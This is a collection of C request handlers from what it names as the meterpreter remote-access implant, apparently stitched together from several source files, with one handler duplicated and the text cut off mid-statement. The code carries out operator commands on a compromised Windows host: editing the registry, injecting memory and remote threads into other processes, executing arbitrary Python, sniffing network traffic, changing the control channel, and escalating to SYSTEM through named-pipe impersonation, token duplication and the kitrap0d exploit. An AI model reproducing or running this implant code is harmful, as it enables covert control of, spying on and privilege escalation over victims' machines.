/* * Removes a registry key with the supplied root and base key information. * * TLVs: * * req: TLV_TYPE_ROOT_KEY - The root key handle. * req: TLV_TYPE_BASE_KEY - The base key name. * opt: TLV_TYPE_FLAGS - Zero or more flags that control how the key is * deleted. */ DWORD request_registry_delete_key(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR baseKey = NULL; DWORD result = ERROR_SUCCESS; DWORD flags = 0; HKEY rootKey = NULL; rootKey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); if ((!rootKey) || (!baseKey)) result = ERROR_INVALID_PARAMETER; else { if (flags & DELETE_KEY_FLAG_RECURSIVE) result = SHDeleteKey(rootKey, baseKey); else result = RegDeleteKey(rootKey, baseKey); } // Set the result and send the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/*! * @brief Allocates memory in the context of the supplied process. * @remark The * - TLV_TYPE_HANDLE - The process handle to allocate memory within. * - TLV_TYPE_LENGTH - The amount of memory to allocate. * - TLV_TYPE_ALLOCATION_TYPE - The type of memory to allocate. * - TLV_TYPE_PROTECTION - The protection flags to allocate the memory with. * - TLV_TYPE_BASE_ADDRESS - The address to allocate the memory at. */ DWORD request_sys_process_memory_allocate(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; LPVOID base; SIZE_T size; DWORD result = ERROR_SUCCESS; DWORD alloc, prot; // Snag the TLV values handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = (SIZE_T)packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); alloc = packet_get_tlv_value_uint(packet, TLV_TYPE_ALLOCATION_TYPE); prot = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); // Allocate the memory if ((base = VirtualAllocEx(handle, base, size, alloc, prot))) { packet_add_tlv_qword(response, TLV_TYPE_BASE_ADDRESS, (QWORD)base); } else { result = GetLastError(); } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Shuts the socket down for either reading or writing based on the how * parameter supplied by the remote side */ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); SocketContext *ctx = NULL; Channel *channel = NULL; DWORD result = ERROR_SUCCESS; DWORD how; // Find the associated channel channel = channel_find_by_id(packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)); how = packet_get_tlv_value_uint(packet, TLV_TYPE_SHUTDOWN_HOW); // If the channel and channel context are valid... if ((channel) && ((ctx = channel_get_native_io_context(channel)))) { if (shutdown(ctx->fd, how) == SOCKET_ERROR) result = WSAGetLastError(); } packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Attaches to the supplied process identifier. If no process identifier is * supplied, the handle for the current process is returned to the requestor. * * req: TLV_TYPE_PID - The process to attach to. */ DWORD request_sys_process_attach(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); // No pid? Use current. if (!pid) handle = GetCurrentProcess(); // Otherwise, attach. else { BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); handle = OpenProcess(permission, inherit, pid); } // If we have a handle, add it to the response if (handle) packet_add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); else result = GetLastError(); // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Creates a registry key and returns the associated HKEY to the caller if the * operation succeeds. * * TLVs: * * req: TLV_TYPE_ROOT_KEY - The root key * req: TLV_TYPE_BASE_KEY - The base key * opt: TLV_TYPE_PERMISSION - Permissions with which to create the key */ DWORD request_registry_create_key(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCTSTR baseKey = NULL; HKEY rootKey = NULL, resKey; DWORD permission; DWORD result; rootKey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key if ((!rootKey) || (!baseKey)) result = ERROR_INVALID_PARAMETER; else { if (!permission) permission = KEY_ALL_ACCESS; result = RegCreateKeyEx(rootKey, baseKey, 0, NULL, 0, permission, NULL, &resKey, NULL); } // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) packet_add_tlv_uint(response, TLV_TYPE_HKEY, (DWORD)resKey); packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/*! * @brief Execute a block of python given in a string and return the result/output. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. */ DWORD request_python_execute(Remote* remote, Packet* packet) { DWORD dwResult = ERROR_SUCCESS; Packet* response = packet_create_response(packet); LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE); PyObject* mainModule = PyImport_AddModule("__main__"); PyObject* mainDict = PyModule_GetDict(mainModule); if (pythonCode != NULL) { UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE); CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME); UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN); CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR); python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response); dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR); clear_std_handler(stderrBuffer); dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT); clear_std_handler(stdoutBuffer); packet_transmit_response(dwResult, remote, response); } return dwResult; }
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) { DWORD result = ERROR_NOT_ENOUGH_MEMORY; Transport* transport = NULL; char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANS_URL); TimeoutSettings timeouts = { 0 }; int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // special case, will still leave this in here even if it's not transport related if (sessionExpiry != 0) { remote->sess_expiry_time = sessionExpiry; remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; } if (timeouts.comms == 0) { timeouts.comms = remote->transport->timeouts.comms; } if (timeouts.retry_total == 0) { timeouts.retry_total = remote->transport->timeouts.retry_total; } if (timeouts.retry_wait == 0) { timeouts.retry_wait = remote->transport->timeouts.retry_wait; } dprintf("[CHANGE TRANS] Url: %s", transportUrl); dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); do { if (transportUrl == NULL) { dprintf("[CHANGE TRANS] Something was NULL"); break; } if (strncmp(transportUrl, "tcp", 3) == 0) { MetsrvTransportTcp config = { 0 }; config.common.comms_timeout = timeouts.comms; config.common.retry_total = timeouts.retry_total; config.common.retry_wait = timeouts.retry_wait; memcpy(config.common.url, transportUrl, sizeof(config.common.url)); transport = remote->trans_create(remote, &config.common, NULL); } // tell the server dispatch to exit, it should pick up the new transport result = ERROR_SUCCESS; } while (0); *transportBufer = transport; return result; }
/*! * @brief Update the timeouts with the given values * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. * @remark If no values are given, no updates are made. The response to * this message is the new/current settings. */ DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) { DWORD result = ERROR_SUCCESS; Packet* response = NULL; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); // TODO: put this in a helper function that can be used everywhere? // if it's in the past, that's fine, but 0 implies not set if (expirationTimeout != 0) { dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); remote->sess_expiry_time = expirationTimeout; remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; } if (commsTimeout != 0) { dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); remote->transport->timeouts.comms = commsTimeout; remote->transport->comms_last_packet = current_unix_timestamp(); } if (retryTotal > 0) { dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); remote->transport->timeouts.retry_total = retryTotal; } if (retryWait > 0) { dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); remote->transport->timeouts.retry_wait = retryWait; } // for the session expiry, return how many seconds are left before the session actually expires packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
/* * core_channel_open * ----------------- * * Opens a channel with the remote endpoint. The response handler for this * request will establish the relationship on the other side. * * opt: TLV_TYPE_CHANNEL_TYPE * The channel type to allocate. If set, the function returns, allowing * a further up extension handler to allocate the channel. */ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) { Packet *response; DWORD res = ERROR_SUCCESS; Channel *newChannel; PCHAR channelType; DWORD flags = 0; do { dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); // If the channel open request had a specific channel type if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) { res = ERROR_NOT_FOUND; break; } // Get any flags that were supplied flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); // Allocate a response response = packet_create_response(packet); // Did the response allocation fail? if ((!response) || (!(newChannel = channel_create(0, flags)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); // Get the channel class and set it newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); // Add the new channel identifier to the response if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel))) != ERROR_SUCCESS) break; // Transmit the response dprintf( "[CHANNEL] Sending response for %s", channelType ); res = PACKET_TRANSMIT(remote, response, NULL); dprintf( "[CHANNEL] Done" ); } while (0); return res; }
static DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; unsigned int bcnt; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> capture_dump_read()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); bcnt = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_BYTE_COUNT); bcnt = min(bcnt, 32*1024*1024); dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); break; } j = &open_captures[ifid]; if(! j->dbuf) { packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); break; } if(j->didx + bcnt > j->dlen) { bcnt = j->dlen - j->didx; } packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf+j->didx, bcnt); j->didx += bcnt; } while(0); // Free memory if the read is complete if(j->didx >= j->dlen-1) { free(j->dbuf); j->dbuf = NULL; j->didx = 0; j->dlen = 0; } packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_resolve_hosts(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv hostname = {0}; int index = 0; int iResult; u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) { struct in_addr addr = {0}; struct in6_addr addr6 = {0}; iResult = resolve_host((LPCSTR)hostname.buffer, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } } else { dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult); packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); } packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } packet_transmit_response(NO_ERROR, remote, response); return ERROR_SUCCESS; }
/* * Returns a list of thread identifiers that are running in the context of the * supplied process. * * req: TLV_TYPE_PID - The process identifier to operate on */ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); THREADENTRY32 entry; HANDLE th32 = NULL; DWORD result = ERROR_SUCCESS; DWORD processId; processId = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); do { // Validate the process identifier if (!processId) { result = ERROR_INVALID_PARAMETER; break; } // Get a snapshot of the threads running in the supplied process if (!(th32 = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, processId))) { result = GetLastError(); break; } entry.dwSize = sizeof(entry); // If the first enumeration fails, see why if (Thread32First(th32, &entry)) { // Keep looping until there are no more threads do { if (entry.th32OwnerProcessID != processId) continue; packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID); } while (Thread32Next(th32, &entry)); } // If we did not reach the end of the enumeration cleanly, something // stupid happened if (GetLastError() != ERROR_NO_MORE_FILES) { result = GetLastError(); break; } } while (0); packet_transmit_response(result, remote, response); // Cleanup if (th32) CloseHandle(th32); return ERROR_SUCCESS; }
static void set_value(Remote *remote, Packet *packet, HKEY hkey) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; DWORD valueType = 0; DWORD result = ERROR_SUCCESS; Tlv valueData; // Acquire the standard TLVs valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME); valueType = packet_get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE); do { // Get the value data TLV if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) { result = ERROR_INVALID_PARAMETER; break; } // Now let's rock this shit! result = RegSetValueEx(hkey, valueName, 0, valueType, valueData.buffer, valueData.header.length); } while (0); // Populate the result code packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); // Transmit the response packet_transmit(remote, response, NULL); }
/* * core_channel_open (response) * ----------------- * * Handles the response to a request to open a channel. * * This function takes the supplied channel identifier and creates a * channel list entry with it. * * req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier */ DWORD remote_response_core_channel_open(Remote *remote, Packet *packet) { DWORD res = ERROR_SUCCESS, channelId; Channel *newChannel; do { channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); // DId the request fail? if (!channelId) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Create a local instance of the channel with the supplied identifier if (!(newChannel = channel_create(channelId, 0))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } } while (0); return res; }
/* * Closes a handle that was opened via the attach method * * req: TLV_TYPE_HANDLE - The process handle to close. */ DWORD request_sys_process_close(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); if (handle) { #ifdef _WIN32 if (handle != GetCurrentProcess()) CloseHandle(handle); #else // XXX ... not entirely sure this ports across. #endif } else result = ERROR_INVALID_PARAMETER; // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> stop_capture()"); ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> stop_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; do { // the interface is invalid if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface is not being captured #ifdef _WIN32 if (!j->adp) #else if (!j->pcap) #endif { result = ERROR_INVALID_PARAMETER; break; } lock_acquire(snifferm); j->active = 0; #ifdef _WIN32 AdpSetMacFilter(j->adp, 0); AdpCloseAdapter(j->adp); AdpDestroy(j->adp); #else thread_sigterm(j->thread); thread_join(j->thread); // should take less than 1 second :p #endif packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); lock_release(snifferm); dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); } while (0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Allocates a streaming TCP channel * * TLVs: * * req: TLV_TYPE_HOST_NAME - The host to connect to * req: TLV_TYPE_PORT - The port to connect to */ DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet) { Channel *channel = NULL; Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; LPCSTR host; DWORD port; do { // No response packet? if (!response) break; // Extract the hostname and port that we are to connect to host = packet_get_tlv_value_string(packet, TLV_TYPE_PEER_HOST); port = packet_get_tlv_value_uint(packet, TLV_TYPE_PEER_PORT); // Open the TCP channel if ((result = create_tcp_client_channel(remote, host, (USHORT)(port & 0xffff), &channel)) != ERROR_SUCCESS) break; // Set the channel's identifier on the response packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); } while (0); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Queries a registry value's type and data for a given HKEY. * * TLVs: * * req: TLV_TYPE_HKEY - The HKEY to query the value on * req: TLV_TYPE_VALUE_NAME - The name of the value to query */ DWORD request_registry_query_value(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; LPBYTE valueData = NULL; DWORD valueDataSize = 4096; DWORD result = ERROR_SUCCESS; DWORD valueType = 0; HKEY hkey = NULL; // Acquire the standard TLVs hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY); valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME); do { // Get the size of the value data if ((result = RegQueryValueEx(hkey, valueName, 0, NULL, NULL, &valueDataSize)) != ERROR_SUCCESS) break; // Allocate storage for the value data if (!(valueData = (LPBYTE)malloc(valueDataSize))) continue; // Query the value's information if ((result = RegQueryValueEx(hkey, valueName, 0, &valueType, valueData, &valueDataSize)) != ERROR_SUCCESS) break; // Add the information about the value to the response packet_add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); switch (valueType) { case REG_SZ: packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, (LPCSTR)valueData); break; case REG_DWORD: packet_add_tlv_uint(response, TLV_TYPE_VALUE_DATA, *(LPDWORD)valueData); break; default: packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); break; } } while (0); // Populate the result code packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); // Transmit the response packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Shuts the socket down for either reading or writing based on the how * parameter supplied by the remote side */ DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; SocketContext * ctx = NULL; Channel * channel = NULL; DWORD cid = 0; DWORD how = 0; do { dprintf( "[TCP] entering request_net_socket_tcp_shutdown" ); response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID ); how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW ); channel = channel_find_by_id( cid ); if( !response ) BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE ); dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid ); ctx = channel_get_native_io_context( channel ); if( !ctx ) BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE ); if( shutdown( ctx->fd, how ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" ); // sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will // catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags // being passed to WSAEventSelect for the notify event in create_tcp_client_channel(). // This avoids a double call (from two different threads) and subsequent access violation in some edge cases. //free_socket_context( ctx ); } while( 0 ); packet_transmit_response( dwResult, remote, response ); dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" ); return ERROR_SUCCESS; }
/* * Creates a thread in the context of the supplied process and returns the * handle that was allocated to represent it to the requestor. * * req: TLV_TYPE_HANDLE - The process handle within which to allocate the * thread. * req: TLV_TYPE_ENTRY_POINT - The entry point of the thread. * opt: TLV_TYPE_ENTRY_PARAMETER - The parameter that is passed to the thread * entry * req: TLV_TYPE_CREATION_FLAGS - Flags used for creation of the thread */ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE process, thread = NULL; LPVOID entryPoint; LPVOID entryParam; DWORD result = ERROR_SUCCESS; DWORD createFlags; DWORD threadId; // Snag the parameters process = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_HANDLE); entryPoint = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_ENTRY_POINT); entryParam = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_ENTRY_PARAMETER); createFlags = packet_get_tlv_value_uint(packet, TLV_TYPE_CREATION_FLAGS); do { // No process handle or entry point? if ((!process) || (!entryPoint)) { result = ERROR_INVALID_PARAMETER; break; } // Create the thread in the process supplied if (!(thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags, &threadId))) { result = GetLastError(); break; } // Set the thread identifier and handle on the response packet_add_tlv_uint(response, TLV_TYPE_THREAD_ID, threadId); packet_add_tlv_uint(response, TLV_TYPE_THREAD_HANDLE, (DWORD)thread); } while (0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * core_channel_seek * ----------------- * * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on * req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to * req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers */ DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet) { Channel *channel = NULL; Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; do { // Lookup the channel by its identifier if (!(channel = channel_find_by_id( packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) { result = ERROR_NOT_FOUND; break; } lock_acquire( channel->lock ); // Make sure this class is compatible if (channel_get_class(channel) != CHANNEL_CLASS_POOL) { result = ERROR_NOT_SUPPORTED; break; } // Call the function if it's set if (channel->ops.pool.seek) result = channel->ops.pool.seek(channel, packet, channel->ops.pool.native.context, (LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET), packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE)); else result = ERROR_NOT_SUPPORTED; } while (0); if( channel ) lock_release( channel->lock ); // Transmit the result packet_transmit_response(result, remote, response); return result; }
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid,i; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> release_capture()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> release_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface is not being captured #ifdef _WIN32 if(! j->adp || j->active == 1) #else if(! j->pcap || j->active == 1) #endif { result = ERROR_INVALID_PARAMETER; break; } lock_acquire(snifferm); packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes); dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); for(i=0; i<j->max_pkts; i++) { if(!j->pkts[i]) break; PktDestroy(j->pkts[i]); j->pkts[i] = NULL; } free(j->pkts); memset(j, 0, sizeof(CaptureJob)); lock_release(snifferm); } while(0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Attempt to elevate the current meterpreter to local system using a variety of techniques. * @details This function attempts to get system level privileges using a number of techniques. * If the caller hasn't specified a particular technique, then all of the known techniques are * attempted in order until one succeeds. * @return Indication of success or failure. * @retval ERROR_SUCCESS Elevation to `SYSTEM` was successful. */ DWORD elevate_getsystem( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; DWORD dwTechnique = ELEVATE_TECHNIQUE_ANY; Packet * response = NULL; do { response = packet_create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE ); dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE ); dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique ); if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ); if ( (dwResult = elevate_via_service_namedpipe( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE; break; } } if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ); if ( (dwResult = elevate_via_service_namedpipe2( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2; break; } } if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_TOKENDUP (%u)", ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ); if ( (dwResult = elevate_via_service_tokendup( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP; break; } } if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ) { dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D (%u)", ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ); if ( (dwResult = elevate_via_exploit_kitrap0d( remote, packet )) == ERROR_SUCCESS ) { dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D; break; } } } while( 0 ); if( response ) { packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : 